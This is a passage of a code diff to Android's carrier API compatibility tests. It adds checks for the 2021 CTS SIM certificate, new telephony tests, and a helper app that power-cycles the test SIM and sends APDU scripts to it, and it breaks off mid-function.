+    host_required: [
+        "CtsCarrierApiTargetPrep",
+        "cts-tradefed",
+    ],
+    // This APK must be signed to match the test SIM's carrier privilege rules.
+    // Hard-code the CTS SIM's test key to ensure it is used regardless of build
     // environment.
-    certificate: ":aosp-testkey",
+    certificate: ":cts-uicc-2021-testkey",
 }
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index 591e80d..60e0638 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -26,6 +26,11 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCarrierApiTestCases.apk" />
     </target_preparer>
+    <target_preparer class="android.carrierapi.cts.targetprep.CarrierApiPreparer">
+        <!-- Custom setup to ensure the CTS SIM matches expected content -->
+        <option name="apk" value="CtsCarrierApiTargetPrepApp.apk" />
+        <option name="package" value="android.carrierapi.cts.targetprep" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.carrierapi.cts" />
     </test>
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
index b0b6504..ee1d702 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
@@ -16,6 +16,8 @@
 
 package android.carrierapi.cts;
 
+import static com.android.compatibility.common.util.UiccUtil.UiccCertificate.CTS_UICC_LEGACY;
+
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assume.assumeTrue;
@@ -26,6 +28,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.UiccUtil;
 
 import org.junit.Before;
 
@@ -45,6 +48,18 @@
     protected static final String NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE =
             "This test requires a SIM card with carrier privilege rules on it.\n"
                     + "Visit https://source.android.com/devices/tech/config/uicc.html";
+    // More specific message when the test suite detects an outdated legacy SIM.
+    private static final String DEPRECATED_TEST_SIM_FAILURE_MESSAGE =
+            "This test requires a 2021-compliant SIM card with carrier privilege rules on it.\n"
+                + "The current SIM card appears to be outdated and is not compliant with the 2021"
+                + " CTS SIM specification published with Android 12 (\"S\").\n"
+                + "As of Android 13 (\"T\"), you must use a 2021-compliant SIM card to pass this"
+                + " suite. The 2021-compliant SIM is backward compatible with the legacy"
+                + " specification, so it may also be used to run this suite on older Android"
+                + " releases.\n"
+                + "2021-compliant SIMs received directly from Google have \"2021 CTS\" printed on"
+                + " them.\n"
+                + "Visit https://source.android.com/devices/tech/config/uicc#prepare_uicc";
 
     protected Context getContext() {
         return InstrumentationRegistry.getInstrumentation().getTargetContext();
@@ -74,8 +89,15 @@
                         + getClass().getSimpleName()
                         + " cases will be skipped",
                 FeatureUtil.hasTelephony());
-        // We must run with carrier privileges.
-        assertWithMessage(NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE)
+        // We must run with carrier privileges. As of 2022, all devices must run CTS with a SIM
+        // compliant with the 2021 spec, which has a new certificate. To make results very clear, we
+        // still explicitly check for the legacy certificate, and if we don't have carrier
+        // privileges but detect the legacy cert, we tell the tester they must upgrade to pass this
+        // test suite.
+        assertWithMessage(
+                        UiccUtil.uiccHasCertificate(CTS_UICC_LEGACY)
+                                ? DEPRECATED_TEST_SIM_FAILURE_MESSAGE
+                                : NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE)
                 .that(getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges())
                 .isTrue();
         mPreconditionsSatisfied = true;
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
index 4e5f4fa..7ee696e 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -39,6 +39,7 @@
 import androidx.test.uiautomator.UiObject2;
 import androidx.test.uiautomator.Until;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.After;
@@ -61,6 +62,9 @@
  * <p>Test using `atest CtsCarrierApiTestCases:BugreportManagerTest` or `make cts -j64 &&
  * cts-tradefed run cts -m CtsCarrierApiTestCases --test
  * android.carrierapi.cts.BugreportManagerTest`
+ *
+ * <p>TODO(b/211774553) consider enforcing BR content. Will likely have to be a host-side test for
+ * performance reasons.
  */
 @SystemUserOnly(reason = "BugreportManager requires calls to originate from the primary user")
 @RunWith(AndroidJUnit4.class)
@@ -111,6 +115,7 @@
     }
 
     @Test
+    @CddTest(requirement = "9.8.10/C-1-1")
     public void startConnectivityBugreport() throws Exception {
         BugreportCallbackImpl callback = new BugreportCallbackImpl();
 
@@ -127,6 +132,7 @@
     }
 
     @Test
+    @CddTest(requirement = "9.8.10/C-1-3")
     public void startConnectivityBugreport_consentDenied() throws Exception {
         BugreportCallbackImpl callback = new BugreportCallbackImpl();
 
@@ -142,6 +148,7 @@
     }
 
     @Test
+    @CddTest(requirement = "9.8.10/C-1-3")
     public void startConnectivityBugreport_consentTimeout() throws Exception {
         BugreportCallbackImpl callback = new BugreportCallbackImpl();
         long startTimeMillis = System.currentTimeMillis();
@@ -202,6 +209,7 @@
     }
 
     @Test
+    @CddTest(requirement = "9.8.10/C-1-3")
     public void cancelBugreport() throws Exception {
         BugreportCallbackImpl callback = new BugreportCallbackImpl();
 
@@ -221,6 +229,7 @@
     }
 
     @Test
+    @CddTest(requirement = "9.8.10/C-1-1")
     public void startBugreport_connectivityBugreport() throws Exception {
         BugreportCallbackImpl callback = new BugreportCallbackImpl();
 
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index b6ee78c..1058fe4 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -21,6 +21,9 @@
 import static android.carrierapi.cts.IccUtils.hexStringToBytes;
 import static android.telephony.IccOpenLogicalChannelResponse.INVALID_CHANNEL;
 import static android.telephony.IccOpenLogicalChannelResponse.STATUS_NO_ERROR;
+import static android.telephony.SubscriptionManager.PHONE_NUMBER_SOURCE_CARRIER;
+import static android.telephony.TelephonyManager.DATA_ENABLED_REASON_THERMAL;
+import static android.telephony.TelephonyManager.DATA_ENABLED_REASON_USER;
 
 import static com.android.compatibility.common.util.UiccUtil.UiccCertificate.CTS_UICC_2021;
 
@@ -57,6 +60,7 @@
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.data.NetworkSlicingConfig;
 import android.util.Base64;
 import android.util.Log;
 
@@ -78,6 +82,7 @@
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
+import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
@@ -520,6 +525,10 @@
             mTelephonyManager.getServiceState();
             mTelephonyManager.getManualNetworkSelectionPlmn();
             mTelephonyManager.setForbiddenPlmns(new ArrayList<String>());
+            int activeModemCount = mTelephonyManager.getActiveModemCount();
+            for (int i = 0; i < activeModemCount; i++) {
+                mTelephonyManager.isModemEnabledForSlot(i);
+            }
         } catch (SecurityException e) {
             fail(NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE);
         }
@@ -984,10 +993,12 @@
 
     /**
      * This test verifies that {@link TelephonyManager#setLine1NumberForDisplay(String, String)}
-     * correctly sets the Line 1 alpha tag and number when called.
+     * correctly sets the Line 1 alpha tag and number when called, and the phone number
+     * of {@link SubscriptionManager#PHONE_NUMBER_SOURCE_CARRIER}.
      */
     @Test
     public void testLine1NumberForDisplay() {
+        int subId = SubscriptionManager.getDefaultSubscriptionId();
         // Cache original alpha tag and number values.
         String originalAlphaTag = mTelephonyManager.getLine1AlphaTag();
         String originalNumber = mTelephonyManager.getLine1Number();
@@ -1001,15 +1012,21 @@
             assertThat(mTelephonyManager.setLine1NumberForDisplay(ALPHA_TAG_A, NUMBER_A)).isTrue();
             assertThat(mTelephonyManager.getLine1AlphaTag()).isEqualTo(ALPHA_TAG_A);
             assertThat(mTelephonyManager.getLine1Number()).isEqualTo(NUMBER_A);
+            assertThat(mSubscriptionManager.getPhoneNumber(subId, PHONE_NUMBER_SOURCE_CARRIER))
+                    .isEqualTo(NUMBER_A);
 
             assertThat(mTelephonyManager.setLine1NumberForDisplay(ALPHA_TAG_B, NUMBER_B)).isTrue();
             assertThat(mTelephonyManager.getLine1AlphaTag()).isEqualTo(ALPHA_TAG_B);
             assertThat(mTelephonyManager.getLine1Number()).isEqualTo(NUMBER_B);
+            assertThat(mSubscriptionManager.getPhoneNumber(subId, PHONE_NUMBER_SOURCE_CARRIER))
+                    .isEqualTo(NUMBER_B);
 
             // null is used to clear the Line 1 alpha tag and number values.
             assertThat(mTelephonyManager.setLine1NumberForDisplay(null, null)).isTrue();
             assertThat(mTelephonyManager.getLine1AlphaTag()).isEqualTo(defaultAlphaTag);
             assertThat(mTelephonyManager.getLine1Number()).isEqualTo(defaultNumber);
+            assertThat(mSubscriptionManager.getPhoneNumber(subId, PHONE_NUMBER_SOURCE_CARRIER))
+                    .isEqualTo("");
         } finally {
             // Reset original alpha tag and number values.
             mTelephonyManager.setLine1NumberForDisplay(originalAlphaTag, originalNumber);
@@ -1368,4 +1385,32 @@
                 .that(akaResponse)
                 .isEqualTo(hexStringToBytes(EXPECTED_EAP_AKA_RESULT));
     }
+
+    /**
+     * This test checks that applications with carrier privilege can set/get data enable
+     * state.
+     */
+    @Test
+    public void testDataEnableRequest() {
+        for (int i = DATA_ENABLED_REASON_USER; i <= DATA_ENABLED_REASON_THERMAL; i++) {
+            mTelephonyManager.isDataEnabledForReason(i);
+        }
+        boolean isDataEnabled = mTelephonyManager.isDataEnabledForReason(
+                TelephonyManager.DATA_ENABLED_REASON_CARRIER);
+        mTelephonyManager.setDataEnabledForReason(
+                TelephonyManager.DATA_ENABLED_REASON_CARRIER, !isDataEnabled);
+        mTelephonyManager.setDataEnabledForReason(
+                TelephonyManager.DATA_ENABLED_REASON_CARRIER, isDataEnabled);
+    }
+
+    /**
+     * This test checks that applications with carrier privileges can get network slicing
+     * configuration.
+     */
+    @Test
+    public void testGetNetworkSlicingConfiguration() {
+        CompletableFuture<NetworkSlicingConfig> resultFuture = new CompletableFuture<>();
+        mTelephonyManager.getNetworkSlicingConfiguration(
+                AsyncTask.SERIAL_EXECUTOR, resultFuture::complete);
+    }
 }
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 8675108..d13c2b7 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -77,6 +77,7 @@
     private TelephonyManager mTelephonyManager;
     private int mNetworkScanStatus;
     private static final int EVENT_NETWORK_SCAN_START = 100;
+    private static final int EVENT_NETWORK_SCAN_RENOUNCE_START = 101;
     private static final int EVENT_NETWORK_SCAN_RESULTS = 200;
     private static final int EVENT_NETWORK_SCAN_RESTRICTED_RESULTS = 201;
     private static final int EVENT_NETWORK_SCAN_ERROR = 300;
@@ -178,7 +179,7 @@
                         @Override
                         public void handleMessage(Message msg) {
                             switch (msg.what) {
-                                case EVENT_NETWORK_SCAN_START:
+                                case EVENT_NETWORK_SCAN_START: {
                                     Log.d(TAG, "request network scan");
                                     boolean useShellIdentity = (Boolean) msg.obj;
                                     if (useShellIdentity) {
@@ -207,6 +208,37 @@
                                         }
                                     }
                                     break;
+                                }
+                                case EVENT_NETWORK_SCAN_RENOUNCE_START: {
+                                    Log.d(TAG, "request network scan with renounce");
+                                    boolean useShellIdentity = (Boolean) msg.obj;
+                                    if (useShellIdentity) {
+                                        InstrumentationRegistry.getInstrumentation()
+                                                .getUiAutomation()
+                                                .adoptShellPermissionIdentity();
+                                    }
+                                    try {
+                                        mNetworkScan =
+                                                mTelephonyManager.requestNetworkScan(
+                                                        true, mNetworkScanRequest,
+                                                        AsyncTask.SERIAL_EXECUTOR,
+                                                        mNetworkScanCallback);
+                                        if (mNetworkScan == null) {
+                                            mNetworkScanStatus = EVENT_SCAN_DENIED;
+                                            setReady(true);
+                                        }
+                                    } catch (SecurityException e) {
+                                        mNetworkScanStatus = EVENT_SCAN_DENIED;
+                                        setReady(true);
+                                    } finally {
+                                        if (useShellIdentity) {
+                                            InstrumentationRegistry.getInstrumentation()
+                                                    .getUiAutomation()
+                                                    .dropShellPermissionIdentity();
+                                        }
+                                    }
+                                    break;
+                                }
                                 default:
                                     Log.d(TAG, "Unknown Event " + msg.what);
                             }
@@ -328,6 +360,35 @@
         }
     }
 
+    /** Tests that the device properly requests a network scan. */
+    @Test
+    public void testRequestNetworkScanWithRenounce() {
+        boolean isLocationSwitchOn = getAndSetLocationSwitch(true);
+        try {
+            mNetworkScanRequest = buildNetworkScanRequest(true);
+            mNetworkScanCallback = new NetworkScanCallbackImpl();
+            Message startNetworkScan = mHandler.obtainMessage(EVENT_NETWORK_SCAN_RENOUNCE_START,
+                    false);
+            setReady(false);
+            startNetworkScan.sendToTarget();
+            waitUntilReady();
+
+            Log.d(TAG, "mNetworkScanStatus: " + mNetworkScanStatus);
+            assertWithMessage(
+                    "The final scan status is "
+                            + mNetworkScanStatus
+                            + " with error code "
+                            + mErrorCode
+                            + ", not ScanCompleted"
+                            + " or ScanError with an error code ERROR_MODEM_UNAVAILABLE or"
+                            + " ERROR_UNSUPPORTED")
+                    .that(mNetworkScanStatus)
+                    .isEqualTo(EVENT_SCAN_DENIED);
+        } finally {
+            getAndSetLocationSwitch(isLocationSwitchOn);
+        }
+    }
+
     @Test
     public void testRequestNetworkScanLocationOffPass() {
         requestNetworkScanLocationOffHelper(false, true);
diff --git a/tests/tests/carrierapi/targetprep/device/Android.bp b/tests/tests/carrierapi/targetprep/device/Android.bp
new file mode 100644
index 0000000..8d054b7
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsCarrierApiTargetPrepApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.test.runner",
+        "compatibility-device-util-axt",
+        "junit",
+        "truth-prebuilt",
+    ],
+    libs: [],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+    certificate: ":cts-uicc-2021-testkey",
+}
diff --git a/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml b/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml
new file mode 100644
index 0000000..9251279
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.carrierapi.cts.targetprep">
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.carrierapi.cts.targetprep" />
+</manifest>
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
new file mode 100644
index 0000000..5793fe2
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.UiccSlotMapping;
+import android.util.Log;
+import android.util.Pair;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.UiccUtil.ApduCommand;
+import com.android.compatibility.common.util.UiccUtil.ApduResponse;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+class ApduScriptUtil {
+    private static final String TAG = "ApduScriptUtil";
+
+    private static final long SET_SIM_POWER_TIMEOUT_SECONDS = 30;
+    private static final long APP_STATE_ADDITIONAL_WAIT_MILLIS = TimeUnit.SECONDS.toMillis(3);
+    // TelephonyManager constants are @hide, so manually copy them here
+    private static final int CARD_POWER_DOWN = 0;
+    private static final int CARD_POWER_UP = 1;
+    private static final int CARD_POWER_UP_PASS_THROUGH = 2;
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    /**
+     * Executes an APDU script over the basic channel.
+     *
+     * <p>The sequence of events is as follows:
+     *
+     * <ol>
+     *   <li>Power the SIM card (as specified by {@code subId}) down
+     *   <li>Power the SIM card back up in pass-through mode (see {@link
+     *       TelephonyManager#CARD_POWER_UP_PASS_THROUGH})
+     *   <li>Transmit {@code apdus} over the basic channel to the SIM
+     *   <li>Power the SIM card down
+     *   <li>Power the SIM card back up
+     * </ol>
+     *
+     * <p>If any of the response statuses from the SIM are not {@code 9000} or {@code 91xx}, that is
+     * considered an error and an exception will be thrown, terminating the script execution. {@code
+     * 61xx} statuses are handled internally.
+     *
+     * <p>NOTE: {@code subId} must correspond to an active SIM.
+     */
+    public static void runApduScript(int subId, List<ApduCommand> apdus)
+            throws InterruptedException {
+        SubscriptionInfo sub =
+                getContext()
+                        .getSystemService(SubscriptionManager.class)
+                        .getActiveSubscriptionInfo(subId);
+        assertThat(sub).isNotNull();
+        assertThat(sub.getSimSlotIndex()).isNotEqualTo(SubscriptionManager.INVALID_SIM_SLOT_INDEX);
+        int logicalSlotId = sub.getSimSlotIndex();
+        // We need a physical slot ID + port to send APDU to in the case when we power the SIM up in
+        // pass-through mode, which will result in a temporary lack of SubscriptionInfo until we
+        // restore it to the normal power mode.
+        int physicalSlotId = -1;
+        int portIndex = -1;
+        Collection<UiccSlotMapping> slotMappings =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        getContext().getSystemService(TelephonyManager.class),
+                        TelephonyManager::getSimSlotMapping,
+                        Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+        for (UiccSlotMapping slotMapping : slotMappings) {
+            if (slotMapping.getLogicalSlotIndex() == logicalSlotId) {
+                physicalSlotId = slotMapping.getPhysicalSlotIndex();
+                portIndex = slotMapping.getPortIndex();
+                break;
+            }
+        }
+        if (physicalSlotId == -1 || portIndex == -1) {
+            throw new IllegalStateException(
+                    "Unable to determine physical slot + port from logical slot: " + logicalSlotId);
+        }
+
+        Pair<Integer, Integer> halVersion = getContext().getSystemService(TelephonyManager.class)
+                .getRadioHalVersion();
+        Log.i(TAG, "runApduScript with hal version: " + halVersion.first + "." + halVersion.second);
+        boolean listenToSimCardStateChange = true;
+        // After hal version 1.6, powers SIM card down will not generate SIM ABSENT or
+        // SIM PRESENT events, we have to switch to listen to SIM application states instead.
+        if ((halVersion.first == 1 && halVersion.second == 6) || halVersion.first == 2) {
+            listenToSimCardStateChange = false;
+        }
+
+        try {
+            // Note: Even if it won't wipe out subId after hal version 1.6, we still use the
+            // slot/port-based APDU method while in pass-through mode to make compatible with
+            // older hal version.
+            rebootSimCard(subId,
+                    logicalSlotId, CARD_POWER_UP_PASS_THROUGH, listenToSimCardStateChange);
+            sendApdus(physicalSlotId, portIndex, apdus);
+        } finally {
+            // Even if rebootSimCard failed midway through (leaving the SIM in POWER_DOWN) or timed
+            // out waiting for the right SIM state after rebooting in POWER_UP_PASS_THROUGH, we try
+            // to bring things back to the normal POWER_UP state to avoid breaking other suites.
+            rebootSimCard(subId, logicalSlotId, CARD_POWER_UP, listenToSimCardStateChange);
+        }
+    }
+
+    /**
+     * Powers the SIM card down firstly and then powers it back up on the {@code
+     * targetPowerState}
+     *
+     * Due to the RADIO HAL interface behavior changed after version 1.6, we have to
+     * listen to SIM card states before hal version 1.6 and SIM application states after.
+     * In specific, the behavior of the method is below:
+     * <p> Before hal version 1.6, powers the SIM card down and waits for it to become
+     *     ABSENT, then powers it back up in {@code targetPowerState} and waits for it to
+           become PRESENT.
+     * <p> After hal version 1.6, powers the SIM card down and waits for the SIM application
+     *     state to become NOT_READY, then powers it back up in {@code targetPowerState} and
+     *     waits for it to become NOT_READY {@code CARD_POWER_UP_PASS_THROUGH} or
+     *     LOADED {@code CARD_POWER_UP}.
+     *     The SIM application state keeps in NOT_READY state after simPower moving from
+     *     CARD_POWER_DOWN to CARD_POWER_UP_PASS_THROUGH.
+     */
+    private static void rebootSimCard(int subId,
+            int logicalSlotId, int targetPowerState, boolean listenToSimCardStateChange)
+            throws InterruptedException {
+        if (listenToSimCardStateChange) {
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, CARD_POWER_DOWN,
+                    TelephonyManager.SIM_STATE_ABSENT, listenToSimCardStateChange);
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, targetPowerState,
+                    TelephonyManager.SIM_STATE_PRESENT, listenToSimCardStateChange);
+        } else {
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, CARD_POWER_DOWN,
+                    TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+            if (targetPowerState == CARD_POWER_UP) {
+                setSimPowerAndWaitForCardState(subId,
+                        logicalSlotId, targetPowerState,
+                        TelephonyManager.SIM_STATE_LOADED, listenToSimCardStateChange);
+            } else if (targetPowerState == CARD_POWER_UP_PASS_THROUGH) {
+                setSimPowerAndWaitForCardState(subId,
+                        logicalSlotId, targetPowerState,
+                        TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+            }
+        }
+    }
+
+    private static void setSimPowerAndWaitForCardState(
+            int subId, int logicalSlotId, int targetPowerState,
+            int targetSimState, boolean listenToSimCardStateChange)
+            throws InterruptedException {
+        // A small little state machine:
+        // 1. Call setSimPower(targetPowerState)
+        // 2. Wait for callback passed to setSimPower to complete, fail if not SUCCESS
+        // 3. Wait for SIM state broadcast to match targetSimState
+        // TODO(b/229790522) figure out a cleaner expression here.
+        AtomicInteger powerResult = new AtomicInteger(Integer.MIN_VALUE);
+        CountDownLatch powerLatch = new CountDownLatch(1);
+        CountDownLatch cardStateLatch = new CountDownLatch(1);
+        BroadcastReceiver cardStateReceiver =
+                new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        if ((!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
+                                intent.getAction())) &&
+                            (!TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED.equals(
+                                intent.getAction()))) {
+                            return;
+                        }
+                        int slotId =
+                                intent.getIntExtra(
+                                        SubscriptionManager.EXTRA_SLOT_INDEX,
+                                        SubscriptionManager.INVALID_SIM_SLOT_INDEX);
+                        if (slotId != logicalSlotId) return;
+                        int simState =
+                                intent.getIntExtra(
+                                        TelephonyManager.EXTRA_SIM_STATE,
+                                        TelephonyManager.SIM_STATE_UNKNOWN);
+                        if (simState == targetSimState) {
+                            if (powerLatch.getCount() == 0) {
+                                cardStateLatch.countDown();
+                            } else {
+                                Log.w(
+                                        TAG,
+                                        "Received SIM state "
+                                                + simState
+                                                + " prior to setSimPowerState callback");
+                            }
+                        } else {
+                            Log.d(TAG, "Unwanted SIM state: " + simState);
+                        }
+                    }
+                };
+
+        // Since we need to listen to a broadcast that requires READ_PRIVILEGED_PHONE_STATE at
+        // onReceive time, just take all the permissions we need for all our component API calls and
+        // drop them at the end.
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(
+                    Manifest.permission.MODIFY_PHONE_STATE,
+                    Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+            IntentFilter intentFilter = new IntentFilter();
+            intentFilter.addAction(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED);
+            intentFilter.addAction(TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED);
+            getContext().registerReceiver(cardStateReceiver, intentFilter);
+            Log.i(
+                    TAG,
+                    "Setting SIM " + logicalSlotId + " power state to " + targetPowerState + "...");
+            getContext()
+                    .getSystemService(TelephonyManager.class)
+                    .setSimPowerStateForSlot(
+                            logicalSlotId,
+                            targetPowerState,
+                            Runnable::run,
+                            result -> {
+                                powerResult.set(result);
+                                powerLatch.countDown();
+                            });
+            if (!powerLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+                throw new IllegalStateException(
+                        "Failed to receive SIM power result within "
+                                + SET_SIM_POWER_TIMEOUT_SECONDS
+                                + " seconds");
+            } else if (powerResult.get() != TelephonyManager.SET_SIM_POWER_STATE_SUCCESS) {
+                throw new IllegalStateException(
+                        "Unexpected SIM power result: " + powerResult.get());
+            }
+
+            // Once the RIL request completes successfully, wait for the SIM to move to the desired
+            // state (from the broadcast).
+            int simApplicationState = getContext().getSystemService(TelephonyManager.class)
+                    .createForSubscriptionId(subId).getSimApplicationState();
+            Log.i(TAG, "Waiting for SIM " + logicalSlotId
+                    + " to become " + targetSimState + " from " + simApplicationState);
+            // TODO(b/236950019): Find a deterministic way to detect SIM power state change
+            // from DOWN to PASS_THROUGH.
+            if ((!listenToSimCardStateChange) && (targetSimState == simApplicationState)) {
+                Thread.sleep(APP_STATE_ADDITIONAL_WAIT_MILLIS);
+            } else if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+                throw new IllegalStateException(
+                        "Failed to receive SIM state "
+                                + targetSimState
+                                + " within "
+                                + SET_SIM_POWER_TIMEOUT_SECONDS
+                                + " seconds");
+            }
+        } finally {
+            getContext().unregisterReceiver(cardStateReceiver);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private static void sendApdus(int physicalSlotId, int portIndex, List<ApduCommand> apdus) {
+        TelephonyManager telMan = getContext().getSystemService(TelephonyManager.class);
+
+        for (int lineNum = 0; lineNum < apdus.size(); ++lineNum) {
+            ApduCommand apdu = apdus.get(lineNum);
+            Log.i(TAG, "APDU #" + (lineNum + 1) + ": " + apdu);
+
+            // Format: data=response[0,len-4), sw1=response[len-4,len-2), sw2=response[len-2,len)
+            String response =
+                    ShellIdentityUtils.invokeMethodWithShellPermissions(
+                            telMan,
+                            tm ->
+                                    tm.iccTransmitApduBasicChannelByPort(
+                                            physicalSlotId,
+                                            portIndex,
+                                            apdu.cla,
+                                            apdu.ins,
+                                            apdu.p1,
+                                            apdu.p2,
+                                            apdu.p3,
+                                            apdu.data),
+                            Manifest.permission.MODIFY_PHONE_STATE);
+            if (response == null || response.length() < 4) {
+                Log.e(TAG, "  response=" + response + " (unexpected)");
+                throw new IllegalStateException(
+                        "Unexpected APDU response on line " + (lineNum + 1) + ": " + response);
+            }
+            StringBuilder responseBuilder = new StringBuilder();
+            responseBuilder.append(response.substring(0, response.length() - 4));
+            String lastStatusWords = response.substring(response.length() - 4);
+
+            // If we got a 61xx status, send repeated GET RESPONSE commands until we get a different
+            // status word back.
+            while (ApduResponse.SW1_MORE_RESPONSE.equals(lastStatusWords.substring(0, 2))) {
+                int moreResponseLength = Integer.parseInt(lastStatusWords.substring(2), 16);
+                Log.i(TAG, "  fetching " + moreResponseLength + " bytes of data...");
+                response =
+                        ShellIdentityUtils.invokeMethodWithShellPermissions(
